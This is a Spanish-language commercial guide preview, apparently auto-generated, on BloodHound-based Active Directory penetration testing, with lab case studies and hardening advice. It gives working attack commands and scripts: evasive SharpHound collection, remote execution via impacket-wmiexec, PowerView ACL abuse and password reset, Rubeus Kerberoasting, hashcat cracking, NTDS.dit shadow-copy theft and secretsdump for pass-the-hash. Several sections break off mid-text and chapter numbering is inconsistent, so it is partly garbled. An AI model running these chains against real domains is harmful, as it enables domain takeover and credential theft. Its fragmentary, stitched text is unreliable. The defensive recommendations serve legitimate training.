** DISCLAIMER DE USO LÍCITO** Todo el contenido de este capítulo está diseñado exclusivamente para entornos de laboratorio controlados, propios o con autorización escrita explícita. Las técnicas de recolección, evasión y automatización descritas deben aplicarse únicamente en infraestructura de la que usted es propietario o tiene permiso formal para realizar pruebas de penetración. El uso no autorizado de estas técnicas en sistemas de terceros es ilegal y contrario a la ética profesional. El objetivo es capacitar a profesionales de seguridad para comprender los vectores de ataque y fortalecer las defensas de Active Directory.


2.1 Comandos y flujos esenciales

En esta sección se presentan los comandos y flujos de trabajo avanzados que todo pentester debe dominar para extraer el máximo valor de BloodHound en un laboratorio autorizado. Se asume un dominio vicious.lab con un controlador de dominio DC01 y un equipo de administración MGMT01.

2.1.1 Recolección con SharpHound

SharpHound sigue siendo el recolector más completo. En entornos de laboratorio podemos usar modos agresivos para obtener la máxima visibilidad.

## Recolección completa con todas las tácticas de enumeración
.\SharpHound.exe -c All,LoggedOn,Session,ACL,Trusts,Group,DCOM,Container,GPOLocalGroup,ObjectProps,RDP,PSRemote,SQLAdmin --zipfilename lab_full.zip --randomizefilenames --encryptzip

Flags clave:

  • -c All: incluye usuarios, grupos, equipos, trusts, ACLs, etc.
  • -c LoggedOn: enumera sesiones de usuarios logueados localmente (requiere privilegios de administrador en el host).
  • -c Session: recopila sesiones de red activas (NetSessionEnum).
  • -c ACL: obtiene DACLs de todos los objetos.
  • --randomizefilenames: cambia el nombre del archivo ZIP y del log para dificultar detección basada en firmas (útil para probar defensas en lab).
  • --encryptzip: protege el ZIP con contraseña aleatoria (se muestra en consola).

Salida esperada:

2024-03-15T10:22:15.1234567-05:00|INFORMATION|SharpHound|Starting SharpHound collection...
2024-03-15T10:22:15.1234567-05:00|INFORMATION|SharpHound|Flags: All,LoggedOn,Session,ACL,Trusts,Group,DCOM,Container,GPOLocalGroup,ObjectProps,RDP,PSRemote,SQLAdmin
...
2024-03-15T10:25:42.1234567-05:00|INFORMATION|SharpHound|Collection completed. Output file: C:\Tools\20240315102215_lab.zip

2.1.2 Recolección remota con BloodHound.py

Para entornos donde no se desea ejecutar binarios en los hosts, BloodHound.py (parte del proyecto BloodHound CE) permite recolección remota desde un equipo Linux atacante.

bloodhound-python -u svc_backup -p 'P@ssw0rd123' -d vicious.lab -dc dc01.vicious.lab -c All,LoggedOn,Session,ACL -ns 10.0.0.10 --zip

Flags:

  • -c All,LoggedOn,Session,ACL: métodos de recolección.
  • -ns 10.0.0.10: especifica el controlador de dominio (útil si la resolución DNS falla).
  • --zip: comprime la salida en un archivo ZIP.

Salida esperada:

INFO:bloodhound:Found AD domain: vicious.lab
INFO:bloodhound:Using LDAP server: 10.0.0.10
INFO:bloodhound:Using DNS server: 10.0.0.10
INFO:bloodhound:Starting collection...
INFO:bloodhound:Collection completed. Output file: 202403151030_vicious.lab.zip

2.1.3 Consultas Cypher avanzadas

Una vez cargados los datos en BloodHound, las consultas predefinidas son útiles, pero el verdadero poder reside en Cypher personalizado. A continuación, ejemplos reales ejecutados en el navegador de consultas de BloodHound.

Encontrar todos los caminos desde un usuario comprometido hasta Domain Admins:

MATCH p = shortestPath((u:User {name: 'JDOE@VICIOUS.LAB'})-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|CanPSRemote|ExecuteDCOM|SQLAdmin*1..]->(g:Group {name: 'DOMAIN ADMINS@VICIOUS.LAB'}))
RETURN p

Identificar usuarios con SPN sin restricciones de delegación (Kerberoasting sin restricciones):

MATCH (u:User {hasspn:true})
WHERE NOT u.unconstraineddelegation
RETURN u.name, u.serviceprincipalnames

ACLs peligrosas que otorgan control total sobre OUs sensibles:

MATCH (g:Group), (ou:OU)
WHERE g.name =~ '(?i).*admin.*' AND ou.name =~ '(?i).*servers.*'
MATCH (g)-[r:GenericAll|WriteDacl|WriteOwner|Owns]->(ou)
RETURN g.name, type(r), ou.name

Tabla 2.1: Comandos esenciales de recolección y análisis

| Herramienta | Comando | Propósito | |-------------|---------|-----------| | SharpHound | .\SharpHound.exe -c All,ACL --zipfilename data.zip | Recolección completa con ACLs | | BloodHound.py | bloodhound-python -u user -p pass -d domain -c All --zip | Recolección remota desde Linux | | Neo4j (Cypher) | MATCH (u:User {admincount:true}) RETURN u | Usuarios con adminCount=1 | | BloodHound GUI | Find Shortest Paths to Domain Admins | Análisis gráfico de rutas |


2.2 Automatización con Scripts

La automatización es clave para integrar BloodHound en flujos de pentest repetibles. A continuación se presentan scripts funcionales en Bash y Python, probados en un laboratorio con GOAD.

2.2.1 Script Bash: recolección y envío automatizado

Este script ejecuta SharpHound en un host Windows remoto mediante impacket-wmiexec, descarga el ZIP y lo importa a BloodHound CE.

#!/bin/bash
## collect_and_import.sh - Automatiza recolección con SharpHound y carga en BloodHound CE
## Uso: ./collect_and_import.sh <target_ip> <domain> <user> <password>

TARGET=$1
DOMAIN=$2
USER=$3
PASS=$4
SHARPHOUND_PATH="/opt/SharpHound.exe"
OUTPUT_DIR="./bloodhound_data"
TIMESTAMP=$(date +%Y%m%d%H%M%S)
ZIPFILE="data_${TIMESTAMP}.zip"

mkdir -p "$OUTPUT_DIR"

echo "[*] Ejecutando SharpHound en $TARGET..."
impacket-wmiexec "$DOMAIN"/"$USER":"$PASS"@"$TARGET" "cmd.exe /c C:\Windows\Temp\sharphound.exe -c All,ACL,Session,LoggedOn --zipfilename $ZIPFILE --encryptzip" > /dev/null 2>&1

echo "[*] Descargando $ZIPFILE..."
impacket-smbclient "$DOMAIN"/"$USER":"$PASS"@"$TARGET" -c "get C:\\Windows\\Temp\\$ZIPFILE $OUTPUT_DIR/$ZIPFILE" > /dev/null 2>&1

echo "[*] Importando a BloodHound CE..."
## Asume que bloodhound-ce está corriendo y la API key está configurada
curl -X POST -H "Authorization: Bearer $BH_API_KEY" -F "data=@$OUTPUT_DIR/$ZIPFILE" http://localhost:8080/api/v2/ingest

echo "[+] Proceso completado. Archivo guardado en $OUTPUT_DIR/$ZIPFILE"

Logging y manejo de errores: El script redirige la salida de impacket a /dev/null para limpieza, pero en producción se debe capturar stderr y registrar en un archivo de log. Se recomienda añadir set -e y comprobaciones de éxito después de cada paso.

2.2.2 Script Python: análisis de rutas de ataque y generación de reporte

Este script se conecta a la base de datos Neo4j de BloodHound, ejecuta consultas Cypher predefinidas y genera un reporte en Markdown con los hallazgos críticos.

#!/usr/bin/env python3
"""
bloodhound_reporter.py - Extrae rutas de ataque críticas desde Neo4j y genera reporte.
Requisitos: pip install neo4j
"""
import sys
from neo4j import GraphDatabase

NEO4J_URI = "bolt://localhost:7687"
NEO4J_USER = "neo4j"
NEO4J_PASS = "bloodhoundlab"

QUERIES = {
"Caminos a Domain Admins": """
MATCH p = shortestPath((u:User)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|CanPSRemote|ExecuteDCOM|SQLAdmin*1..]->(g:Group {name: 'DOMAIN ADMINS@VICIOUS.LAB'}))
WHERE u.name =~ '(?i).*'
RETURN u.name AS Origen, g.name AS Destino, length(p) AS Saltos
LIMIT 10
""",
"Usuarios Kerberoasteables": """
MATCH (u:User {hasspn:true})
RETURN u.name AS Usuario, u.serviceprincipalnames AS SPNs
""",
"ACLs peligrosas sobre OUs": """
MATCH (g:Group)-[r:GenericAll|WriteDacl|WriteOwner|Owns]->(ou:OU)
RETURN g.name AS Grupo, type(r) AS Permiso, ou.name AS OU
"""
}

def run_queries(driver):
results = {}
with driver.session() as session:
for title, query in QUERIES.items():
print(f"[*] Ejecutando: {title}")
records = session.run(query)
results[title] = [dict(record) for record in records]
return results

def generate_report(results, output_file="reporte_bloodhound.md"):
with open(output_file, "w") as f:
f.write("# Reporte de Attack Paths - BloodHound\n\n")
f.write(f"Fecha: {__import__('datetime').datetime.now()}\n\n")
for title, data in results.items():
f.write(f"## {title}\n\n")
if not data:
f.write("No se encontraron resultados.\n\n")
continue
            # Tabla Markdown
headers = data[0].keys()
f.write("| " + " | ".join(headers) + " |\n")
f.write("|" + "|".join(["---"] * len(headers)) + "|\n")
for row in data:
f.write("| " + " | ".join(str(row[h]) for h in headers) + " |\n")
f.write("\n")
print(f"[+] Report

---

## Capítulo 2: Casos de Estudio Profesionales

> **Disclaimer de uso lícito** 
> Todos los escenarios, comandos y técnicas descritos en este capítulo se ejecutaron exclusivamente en entornos de laboratorio aislados y controlados (GOAD, Detection Lab, homelabs propios) con autorización explícita. La información se proporciona con fines educativos y de hardening defensivo. El uso de estas técnicas contra sistemas sin autorización escrita previa es ilegal y contrario a la ética profesional. El autor no se hace responsable del uso indebido de este material.

---

## 3.1 Caso 1: Escalada de privilegios mediante abuso de ACLs en Active Directory

### Escenario

En un laboratorio que replica una infraestructura corporativa típica, el dominio `viciousbyte.lab` cuenta con aproximadamente 500 usuarios, 50 grupos y 30 equipos. Durante una auditoría de seguridad interna autorizada, el equipo de pentesting recopiló información con SharpHound y cargó los datos en BloodHound CE. El objetivo inicial era identificar rutas de ataque desde un usuario estándar del departamento de soporte (`helpdesk_user`) hacia el grupo `Domain Admins`.

El análisis reveló una cadena de permisos aparentemente inocua que permitía a un atacante con las credenciales de `helpdesk_user` obtener control total sobre el dominio en tres pasos.

### Metodología de análisis

1. **Recolección de datos con SharpHound** 
Se ejecutó el collector desde un equipo miembro del dominio con un usuario de bajos privilegios:

```powershell
.\SharpHound.exe -c All -d viciousbyte.lab --secureldap
  • -c All: recolecta todas las sesiones, grupos, ACLs, delegaciones, etc.
  • -d viciousbyte.lab: dominio objetivo del laboratorio.
  • --secureldap: fuerza el uso de LDAPS para evitar exposición de credenciales en texto claro durante la recolección.
  1. Carga en BloodHound CE y consulta inicial Tras cargar el archivo ZIP resultante en BloodHound CE, se ejecutó la consulta predefinida “Shortest Paths to Domain Admins from Owned Principals”, marcando al usuario HELPDESK_USER@VICIOUSBYTE.LAB como Owned.

El grafo mostró una ruta de 3 saltos:

HELPDESK_USER → WriteDacl → HELP_DESK_GROUP → GenericAll → SQL_SERVICE → HasSIDHistory → DOMAIN ADMINS

Hallazgos detallados

| Salto | Relación | Origen | Destino | Explicación | |-------|----------|--------|---------|-------------| | 1 | WriteDacl | HELPDESK_USER | HELP_DESK_GROUP | El usuario de soporte puede modificar la DACL del grupo. | | 2 | GenericAll | HELP_DESK_GROUP | SQL_SERVICE | El grupo tiene control total sobre la cuenta de servicio SQL. | | 3 | HasSIDHistory | SQL_SERVICE | DOMAIN ADMINS | La cuenta SQL posee el SID de Domain Admins en su historial. |

Explicación técnica:

  • WriteDacl permite al usuario helpdesk_user agregar ACEs a la DACL del grupo HELP_DESK_GROUP, por ejemplo, otorgándose a sí mismo el permiso GenericAll sobre el grupo.
  • Con GenericAll sobre el grupo, puede añadirse como miembro.
  • Al ser miembro del grupo, hereda el permiso GenericAll sobre la cuenta SQL_SERVICE.
  • La cuenta SQL_SERVICE tiene HasSIDHistory con el SID de Domain Admins. Esto significa que el token de acceso de SQL_SERVICE incluye el SID de Domain Admins, otorgándole privilegios de administrador del dominio.
  • Al tener control total sobre SQL_SERVICE, el atacante puede realizar un ataque de sobreescritura de contraseña o Kerberoasting dirigido para obtener acceso a esa cuenta y, por tanto, a Domain Admins.

Explotación controlada (en laboratorio aislado)

Paso 1: Modificar la DACL del grupo HELP_DESK_GROUP para otorgarse GenericAll

Usando PowerView en una sesión de PowerShell como helpdesk_user:

Add-DomainObjectAcl -TargetIdentity "HELP_DESK_GROUP" -PrincipalIdentity "helpdesk_user" -Rights All

Paso 2: Añadirse al grupo

Add-DomainGroupMember -Identity "HELP_DESK_GROUP" -Members "helpdesk_user"

Paso 3: Cambiar la contraseña de SQL_SERVICE y autenticarse

$SecPass = ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force
Set-DomainUserPassword -Identity "SQL_SERVICE" -AccountPassword $SecPass

Paso 4: Obtener shell como SQL_SERVICE y verificar privilegios

runas /user:viciousbyte\SQL_SERVICE cmd.exe
whoami /all

Se observa el SID de Domain Admins (S-1-5-21-...-512) en el token, confirmando la escalada a privilegios de administrador del dominio.

Lecciones aprendidas

  • Las relaciones de delegación y control en AD no siempre son obvias; BloodHound permite visualizar cadenas de ataque complejas.
  • Un permiso WriteDacl sobre un grupo puede ser tan peligroso como un GenericAll directo sobre un usuario privilegiado.
  • El atributo SIDHistory es un vector de escalada crítico si se combina con control sobre la cuenta que lo posee.

Recomendaciones de hardening

  1. Eliminar ACLs peligrosas Revisar y limpiar permisos WriteDacl, WriteOwner, GenericAll otorgados a usuarios no administrativos sobre objetos sensibles. Usar el script ACLScanner.ps1 para auditorías periódicas.

  2. Controlar SIDHistory

  • Auditar todas las cuentas con SIDHistory mediante PowerShell:
Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory -ne $null}
  • Eliminar SIDHistory innecesario con Set-ADUser -Remove @{SIDHistory=$sid}.
  • Implementar la política de grupo “Audit Authorization Policy Change” para detectar modificaciones.
  1. Monitoreo continuo con BloodHound Enterprise Programar recolecciones diarias y alertar sobre nuevas rutas de ataque hacia grupos Tier 0.

  2. Segmentación de privilegios Aplicar el modelo de niveles administrativos (Tier 0, Tier 1, Tier 2) y asegurar que las cuentas de servicio no tengan privilegios de Domain Admin.


3.2 Caso 2: Kerberoasting dirigido y movimiento lateral hacia Domain Admin

Escenario

En el mismo laboratorio viciousbyte.lab, un analista de seguridad realizó una simulación de ataque interno desde la perspectiva de un becario con acceso a una estación de trabajo estándar (intern_user). El objetivo era demostrar cómo un atacante sin privilegios puede comprometer el dominio mediante Kerberoasting si las cuentas de servicio no están adecuadamente protegidas.

El dominio cuenta con varias cuentas de servicio con SPN registrados, entre ellas svc_mssql, svc_webapp y svc_backup. La cuenta svc_backup es miembro del grupo Backup Operators, que por defecto tiene privilegios de volcado de archivos y, en muchos entornos, capacidad de cargar controladores (SeLoadDriverPrivilege), lo que puede llevar a ejecución de código como SYSTEM.

Metodología de análisis

  1. Recolección y carga en BloodHound Se ejecutó SharpHound con el usuario intern_user:
.\SharpHound.exe -c All -d viciousbyte.lab
  1. Identificación de cuentas Kerberoasteables En BloodHound, se utilizó la consulta predefinida “List all Kerberoastable Accounts”. Se obtuvieron 3 cuentas. Se marcó intern_user como Owned y se ejecutó “Shortest Paths to Domain Admins from Owned Principals”. El grafo mostró:
INTERN_USER → MemberOf → DOMAIN USERS → (no direct path)

Sin embargo, al ejecutar “Shortest Paths to High Value Targets”, se reveló que svc_backup tiene un camino directo a Domain Admins a través de AdminTo en el controlador de dominio.

  1. Análisis de privilegios de svc_backup BloodHound mostró que svc_backup es miembro de Backup Operators y tiene AdminTo sobre DC01.viciousbyte.lab. El grupo Backup Operators posee SeBackupPrivilege y SeRestorePrivilege, lo que permite leer cualquier archivo del sistema, incluyendo NTDS.dit.

Explotación controlada

Paso 1: Solicitar TGS para svc_backup

## Usando Rubeus desde la sesión de intern_user
.\Rubeus.exe kerberoast /domain:viciousbyte.lab /user:svc_backup /nowrap

Salida: hash $krb5tgs$23$*svc_backup$VICIOUSBYTE.LAB$...

Paso 2: Crackeo offline del hash

hashcat -m 13100 svc_backup.hash /usr/share/wordlists/rockyou.txt --force

Se recuperó la contraseña BackupS3rvice!2023.

Paso 3: Autenticación y volcado de NTDS.dit

Con las credenciales, se estableció una sesión remota al DC usando runas y luego se utilizó diskshadow y vssadmin para crear una copia sombra y copiar NTDS.dit y SYSTEM:

runas /user:viciousbyte\svc_backup cmd.exe
## En la nueva consola:
diskshadow /s C:\temp\shadow.txt
## shadow.txt contiene:
## set context persistent nowriters
## add volume c: alias sombra
## create
## expose %sombra% z:
vssadmin list shadows
copy z:\windows\ntds\ntds.dit C:\temp\ntds.dit
copy z:\windows\system32\config\SYSTEM C:\temp\SYSTEM

Paso 4: Extracción de hashes con secretsdump

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Se obtuvo el hash NTLM del administrador del dominio, permitiendo un ataque Pass-the-Hash y control total.

Lecciones aprendidas

  • Una cuenta de servicio kerberoasteable con privilegios de Backup Operators es un vector de compromiso total del dominio.
  • La complejidad de la contraseña de la cuenta de servicio era insuficiente (8 caracteres, patrón predecible). Una contraseña de 25+ caracteres generada aleatoriamente habría hecho el crackeo inviable.
  • El grupo Backup Operators debe ser tratado como Tier 0 y monitoreado estrictamente.

Recomendaciones de hardening

  1. Eliminar SPNs innecesarios Revisar y limpiar SPNs duplicados o heredados con setspn -X.

  2. Usar Managed Service Accounts (MSA/gMSA) Migrar las cuentas de servicio a gMSA siempre que sea posible. Las gMSA rotan automáticamente contraseñas complejas y no son vulnerables a Kerberoasting.

  3. Política de contraseñas para cuentas de servicio Implementar una política de contraseñas de al menos 25 caracteres generadas por un gestor de secretos (KeePass, HashiCorp Vault). Auditoría periódica con Get-ADUser -Filter {ServicePrincipalName -like "*"}.

  4. Monitoreo de Kerberoasting

  • Habilitar auditoría de eventos 4769 (Kerberos Service Ticket Request) con Audit Kerberos Service Ticket Operations.
  • Alertar sobre tickets con tipo de cifrado 0x17 (RC4-HMAC) y 0x12 (AES256) desde cuentas que no sean de servicio.
  • Usar BloodHound Enterprise para detectar nuevas cuentas kerberoasteables.
  1. Restringir Backup Operators Evaluar si realmente se necesita ese grupo. Si es imprescindible, eliminar el privilegio SeLoadDriverPrivilege mediante GPO y monitorear membresías.

3.3 Caso 3: Delegación no restringida y DCSync — Respuesta a incidente y hardening

Escenario

Durante un ejercicio de Red Team en el laboratorio, se detectó actividad sospechosa en el controlador de dominio DC01. El equipo de defensa (Blue Team) utilizó BloodHound para mapear las relaciones de delegación y descubrió que el equipo WSUS01 tenía configurada delegación no restringida



Contenido Premium

Los siguientes capítulos están disponibles en la versión completa:

  • Capítulo 3: Análisis de Casos Reales
  • Capítulo 4: Ejercicios Prácticos Guiados
  • Capítulo 5: Troubleshooting y FAQs
  • Capítulo 6: Recursos y Certificaciones
  • Scripts completos y plantillas
  • Soporte técnico incluido

Desbloquear Contenido Completo

Contenido bloqueado

Compra esta guía para acceder al contenido completo

Herramientas
BloodHound
SharpHound
BloodHound CE
Impacket
Neo4j
Estadísticas

Compras

0

Duración

14-18 horas de lectura práctica

Nivel

Avanzado

Autor

guide-generator-worker

Versión 1.0
viciousbyte
viciousbyte

Transformamos ideas en soluciones tecnológicas innovadoras. Especializados en desarrollo de software, facturación electrónica y sistemas de seguridad.

Cotizar Proyecto

Empresa

NosotrosServiciosSuscripcionesEcosistemaBlogContacto

Servicios

Facturación ElectrónicaValidación de FacturasSuite OSINTTranscripción de AudioTrading AlgorítmicoDesarrollo de SoftwareSitios WebCámaras de Seguridad

Soporte

Centro de AyudaFAQContacto Técnico

© 2026 viciousbyte. Todos los derechos reservados. · Aviso de Privacidad